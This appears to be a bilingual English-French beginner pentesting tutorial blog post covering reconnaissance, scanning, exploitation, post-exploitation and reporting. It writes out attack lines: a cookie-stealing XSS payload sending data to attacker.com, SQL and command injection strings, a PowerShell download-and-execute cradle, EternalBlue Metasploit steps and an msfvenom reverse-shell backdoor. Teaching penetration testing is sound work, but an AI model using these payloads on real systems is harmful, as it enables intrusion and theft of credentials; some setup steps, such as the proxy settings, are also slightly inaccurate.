0%
Complete Pentesting Guide: From Beginner to Expert

Complete Pentesting Guide: From Beginner to Expert

Exhaustive penetration testing guide for beginners. Learn step by step the essential pentesting techniques, tools, and methodologies, with practical examples and exercises.

I

InSkillCoach

· min

Complete Pentesting Guide: From Beginner to Expert

Introduction to Pentesting

Pentesting (penetration testing) is an essential cybersecurity practice that consists of evaluating the security of an information system by simulating controlled attacks. This guide will walk you step by step through learning pentesting.

Prerequisites and Installation

1. Environment Setup

Installing Kali Linux

# Downloading Kali Linux
# 1. Visit https://www.kali.org/downloads/
# 2. Download the ISO

# Install on VirtualBox
1. Créez une nouvelle VM
2. Allouez au moins 2GB de RAM
3. 20GB d'espace disque
4. Montez l'ISO et installez

Initial Configuration

# System update
sudo apt update
sudo apt upgrade -y

# Install essential tools
sudo apt install -y \
    nmap \
    wireshark \
    metasploit-framework \
    burpsuite \
    dirb \
    nikto

2. First Steps with Linux

Essential Commands

# Navigation
ls          # Liste les fichiers
cd          # Change de répertoire
pwd         # Affiche le répertoire actuel

# File manipulation
cat         # Affiche le contenu
nano        # Éditeur de texte
chmod       # Change les permissions

Phase 1: Reconnaissance

1. Passive Reconnaissance

OSINT (Open Source Intelligence)

# Using whois
whois example.com

# DNS Lookup
dig example.com
nslookup example.com

# Google Dorks
site:example.com
filetype:pdf site:example.com
inurl:admin site:example.com

Reconnaissance Tools

# Maltego
maltego &

# theHarvester
theHarvester -d example.com -b all

# Recon-ng
recon-ng

2. Active Reconnaissance

Port Scanning with Nmap

# Basic scan
nmap -sV target_ip

# Stealth scan
nmap -sS target_ip

# Full scan with scripts
nmap -sC -sV -p- target_ip -oN scan_results.txt

# UDP scan
nmap -sU target_ip

Service Enumeration

# SMB enumeration
enum4linux target_ip

# Web enumeration
dirb http://target_ip
nikto -h http://target_ip

Phase 2: Vulnerability Analysis

1. Vulnerability Scanning

Using Nessus

  1. Installation de Nessus
# Download and install
curl -O https://www.tenable.com/downloads/nessus
dpkg -i Nessus-*.deb
service nessusd start
  1. Configuration initiale

OpenVAS

# Installation
apt install openvas
gvm-setup
gvm-start

2. Web Analysis

Using Burp Suite

  1. Configuration du proxy
Proxy -> Options
- Interface: 127.0.0.1
- Port: 8080
  1. Configuration du navigateur
Firefox -> Préférences -> Réseau
- Paramètres proxy manuels
- SOCKS Host: 127.0.0.1
- Port: 8080

SQL Injection Tests

-- Test basique
' OR '1'='1

-- Test d'authentification
admin' --
admin' OR '1'='1'--

-- Test d'erreur
' UNION SELECT NULL--

Phase 3: Exploitation

1. Metasploit Framework

Initial Configuration

# Starting Metasploit
msfconsole

# Database update
msfdb init
db_status

Basic Usage

# Exploit search
search ms17-010

# Configure an exploit
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS target_ip
exploit

2. Web Exploitation

XSS (Cross-Site Scripting)

// Test basique
<script>alert('XSS')</script>

// Vol de cookies
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

// Test de DOM XSS
javascript:alert(document.domain)

Command Injection

# Basic tests
; ls
| cat /etc/passwd
`id`
$(whoami)

Phase 4: Post-Exploitation

1. Privilege Escalation

Linux Privilege Escalation

# Basic enumeration
id
uname -a
cat /etc/passwd
sudo -l

# SUID search
find / -perm -u=s -type f 2>/dev/null

# Kernel Exploits
searchsploit kernel version

Windows Privilege Escalation

# Windows enumeration
systeminfo
net user
whoami /priv

# PowerShell Empire
powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')

2. Maintaining Access

Creating Backdoors

# Msfvenom Payload
msfvenom -p windows/meterpreter/reverse_tcp \
         LHOST=attacker_ip \
         LPORT=4444 \
         -f exe \
         -o payload.exe

# Metasploit Listener
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST attacker_ip
set LPORT 4444
exploit

Phase 5: Documentation and Reporting

1. Test Documentation

Report Structure

1. Résumé Exécutif
2. Méthodologie
3. Résultats Détaillés
   - Vulnérabilités trouvées
   - Preuves de concept
   - Impact potentiel
4. Recommandations
5. Annexes techniques

2. Reporting Tools

# Report generation script
def generate_report():
    """
    Structure de base pour un rapport
    """
    report = {
        'executive_summary': [],
        'findings': [],
        'recommendations': [],
        'technical_details': []
    }
    return report

Practical Exercises

1. Virtual Lab

  • Install vulnerable machines
    • Metasploitable
    • DVWA
    • WebGoat

2. Progressive Challenges

  1. Reconnaissance basique
  2. Port scan
  3. Identification de services
  4. Exploitation simple
  5. Post-exploitation

Best Practices and Ethics

  • Obtain written authorizations
  • Respect the defined scope
  • Documentation des actions

2. Security

- Isolation du laboratoire de test
- Chiffrement des données sensibles
- Nettoyage post-test

Learning Resources

1. Training Platforms

  • HackTheBox
  • TryHackMe
  • VulnHub
  • PortSwigger Web Security Academy
  • CompTIA Security+
  • CEH (Certified Ethical Hacker)
  • OSCP (Offensive Security Certified Professional)
  • PNPT (Practical Network Penetration Tester)

Conclusion

Pentesting is a vast field that requires constant practice. Key takeaways:

  • Commencez par les bases
  • Practice in a controlled environment
  • Documentez tout
  • Stay ethical and legal
  • Keep learning

Security note: This guide is for educational purposes only. All techniques must be practiced in a controlled lab environment and with the appropriate authorizations.

InSkillCoach

About InSkillCoach

Training and technology expert

Coach specializing in advanced technologies and AI, backed by GNeurone Inc.

Certifications:

  • AWS Certified Solutions Architect – Professional
  • Google Cloud certifications
  • Microsoft Certified: DevOps Engineer Expert
  • Certified Kubernetes Administrator (CKA)
  • CompTIA Security+
1.3k
267

Comments

Comments are powered by GitHub Discussions

Sign in with GitHub to join the discussion

Link copied!